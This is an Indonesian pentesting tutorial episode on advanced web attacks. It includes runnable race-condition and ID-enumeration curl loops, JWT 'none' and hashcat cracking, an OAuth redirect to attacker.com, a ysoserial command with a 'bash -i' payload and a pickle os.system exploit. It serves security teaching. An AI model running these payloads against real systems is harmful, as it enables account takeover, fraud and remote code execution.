Mempelajari kerentanan web application tingkat lanjut: logic flaws, authentication bypass, API abuse, dan deserialization attacks yang melampaui OWASP Top 10 dasar

Setelah di episode 11 kita mempelajari social engineering & phishing — manipulasi psikologis sebagai attack vector — pada episode ini kita kembali ke web application, tetapi dengan kedalaman yang lebih tinggi: web app security lanjutan. Kerentanan ini tidak masuk OWASP Top 10 secara eksplisit, tetapi sama berbahayanya dan seringkali lebih sulit ditemukan.
Logic flaws, auth bypass, API abuse, dan deserialization attacks membutuhkan pemahaman mendalam tentang cara kerja aplikasi di balik surface. Kalian harus berpikir seperti developer — mengerti alur data dan trust boundary.
Logic flaws adalah kelemahan dalam desain logika aplikasi — bukan bug teknis, tetapi error dalam alur bisnis.
| Flaw | Deskripsi |
|---|---|
| Negative quantity | Membeli -1 item mendapatkan uang |
| Race condition | Double-submit untuk mendapatkan bonus |
| Price manipulation | Mengubah harga di client-side |
| IDOR via parameter | Mengubah parameter untuk akses resource lain |
| Step skipping | Melewati tahap verifikasi dalam flow |
# Contoh: balance check vs deduction
# Request 1 & 2 dikirim bersamaan sebelum balance update
# Menggunakan Burp Suite Turbo Intruder
# atau
for i in $(seq 1 20); do
curl -X POST http://target.com/withdraw \
-d "amount=100" -H "Cookie: session=abc" &
done
waitNormal: POST /checkout → {"item": "phone", "price": 999}
Manipulated: POST /checkout → {"item": "phone", "price": 1}
# Server harus validasi harga di server-side, bukan trust client# 1. None algorithm attack
# Header: {"alg":"none","typ":"JWT"}
# Signature: kosong
# 2. Algorithm confusion (RS256 → HS256)
# Jika server menggunakan public key sebagai HMAC secret
# 3. Weak secret
hashcat -m 16500 jwt.txt rockyou.txt# Redirect URI manipulation
Original: https://app.com/callback
Manipulated: https://app.com/callback@attacker.com
# Scope escalation
Original: scope=read
Manipulated: scope=read+write+admin# Attacker mengatur session ID sebelum korban login
1. Attacker: GET /login → session_id=ABC123
2. Attacker: kirim link dengan session_id=ABC123 ke korban
3. Korban: login dengan session_id=ABC123
4. Attacker: login dengan session_id=ABC123 → akses akun korban# Normal: GET /api/users/123
# BOLA: GET /api/users/124, /api/users/125, ...
# Automasi
for i in $(seq 1 200); do
curl -s http://target.com/api/users/$i \
-H "Authorization: Bearer $TOKEN" | jq '.name'
done# Normal: POST /api/register → {"email": "a@b.com", "pass": "x"}
# Mass assignment: POST /api/register → {"email": "a@b.com", "pass": "x", "role": "admin"}
# Jika server tidak filter input, user bisa menambah field seperti "role" atau "verified"# Introspection query
curl -X POST http://target.com/graphql \
-H "Content-Type: application/json" \
-d '{"query":"{ __schema { types { name fields { name } } } }"}'
# Bisa menemukan hidden fields, mutations, dan types# Cari serialized object (Base64 encoded)
# Decode: rO0ABXNy...
# Generate payload dengan ysoserial
java -jar ysoserial.jar CommonsCollections1 "bash -c {echo,base64_encoded_command}|{base64,-d}|{bash,-i}"
# Encode dan inject// Contoh vulnerable code
unserialize($_GET['data']);
// Payload: Object injection → magic method abuse (__destruct, __wakeup)import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('whoami',))
payload = pickle.dumps(Exploit())Note
Deserialization attacks sangat dependent pada versi library dan gadget chains yang tersedia. Gunakan tools seperti ysoserial (Java) atau phpggc (PHP) untuk generate payloads yang sesuai.
Gunakan PortSwigger Web Security Academy untuk praktik:
Inti yang harus dibawa pulang:
Di episode 13 selanjutnya, kita akan mempelajari API & mobile pentesting — testing REST/GraphQL APIs dan mobile applications menggunakan Burp Suite dan Frida.